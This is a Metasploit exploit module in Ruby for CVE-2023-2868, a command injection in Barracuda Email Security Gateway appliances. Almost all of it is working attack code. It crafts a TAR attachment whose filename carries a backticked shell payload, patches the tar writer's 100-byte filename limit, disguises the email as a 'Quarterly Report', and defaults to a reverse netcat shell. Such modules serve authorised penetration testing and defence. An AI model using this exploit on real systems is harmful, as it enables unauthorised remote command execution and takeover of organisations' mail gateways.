## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::SMTPDeliver def initialize(info = {}) super( update_info( info, 'Name' => 'Barracuda ESG TAR Filename Command Injection', 'Description' => %q{ This module exploits CVE-2023-2868, a command injection vulnerability in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists in how the ESG processes TAR file attachments - filenames containing shell metacharacters (backticks) are passed directly to shell commands during extraction, allowing remote command execution. The exploit sends an email with a specially crafted TAR attachment where the filename contains a backtick-wrapped command. When the ESG processes this attachment, the command is executed as the mail processing user. Note: Payload execution may take 30-90 seconds after email delivery. Amavisd queues and processes attachments asynchronously. Affected versions: Barracuda ESG firmware prior to May 2023 patch. Payloads containing single quotes or backticks are incompatible with the injection mechanism. Use cmd/unix/generic with a custom CMD for specialized payload requirements. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mandiant', # Discovery and analysis 'cfielding-r7', # Original PoC 'Curt Hyvarinen' # Metasploit module ], 'References' => [ ['CVE', '2023-2868'], ['URL', 'https://www.barracuda.com/company/legal/esg-vulnerability'], ['URL', 'https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally'], ['URL', 'https://attackerkb.com/topics/NCRbE1IDJP/cve-2023-2868'] ], 'DisclosureDate' => '2023-05-23', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 490, 'DisableNops' => true, 'BadChars' => "'\`\x00\r\n" }, 'Targets' => [ ['Unix Command', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('MAILTO', [true, 'Target email address on the ESG']), OptString.new('MAILFROM', [true, 'Sender email address', 'scanner@example.com']), OptString.new('SUBJECT', [true, 'Email subject line', 'Quarterly Report']), OptString.new('BODY', [false, 'Email body text (default: random string)']), OptString.new('FILENAME', [false, 'TAR attachment filename (default: random.tar)']) ] ) end def check connect banner_str = banner.to_s if banner_str =~ /barracuda/i return CheckCode::Detected('Barracuda ESG detected in SMTP banner') end if banner_str =~ /ESMTP/i return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG') end CheckCode::Safe('No SMTP banner detected') rescue Rex::ConnectionError => e CheckCode::Unknown("Connection failed: #{e.message}") ensure disconnect end def exploit cmd = payload.encoded # Wrap payload in critical format for command injection: # Outer single quotes prevent immediate shell parsing, # backticks trigger command substitution when processed by vulnerable code malicious_filename = "'`#{cmd}`'" print_status('Generating malicious TAR with payload filename') vprint_status("Payload filename length: #{malicious_filename.length} bytes") tar_data = create_malicious_tar(malicious_filename) print_status('Composing email with TAR attachment') email_data = generate_exploit_email(tar_data) print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}") send_message(email_data) print_good('Email sent successfully') print_status('Payload will execute when ESG processes the attachment') end def create_malicious_tar(malicious_filename) # Rex::Tar::Writer inherits from Gem::Package::TarWriter which enforces a # 100-byte filename limit. Override split_name to allow longer filenames # with special characters for the injection payload. original_split = Rex::Tar::Writer.instance_method(:split_name) Rex::Tar::Writer.define_method(:split_name) do |name| prefix = '' if name.bytesize > 100 parts = name.split('/', -1) name = parts.pop prefix = parts.join('/') while !parts.empty? && (prefix.bytesize > 155 || name.empty?) name = parts.pop + '/' + name prefix = parts.join('/') end end [name, prefix] end tar_io = StringIO.new Rex::Tar::Writer.new(tar_io) do |tar| content = Rex::Text.rand_text_alpha(32) tar.add_file_simple(malicious_filename, 0o644, content.length) do |io| io.write(content) end end # Restore original method to avoid affecting other code Rex::Tar::Writer.define_method(:split_name, original_split) tar_io.string end def generate_exploit_email(tar_data) msg = Rex::MIME::Message.new msg.mime_defaults msg.from = datastore['MAILFROM'] msg.to = datastore['MAILTO'] msg.subject = datastore['SUBJECT'] # Add text body body_text = datastore['BODY'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(rand(16..32)) : datastore['BODY'] msg.add_part(body_text, 'text/plain', nil, 'inline') # Add TAR attachment attachment_name = datastore['FILENAME'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(8) + '.tar' : datastore['FILENAME'] msg.add_part_attachment(tar_data, attachment_name) msg.to_s end end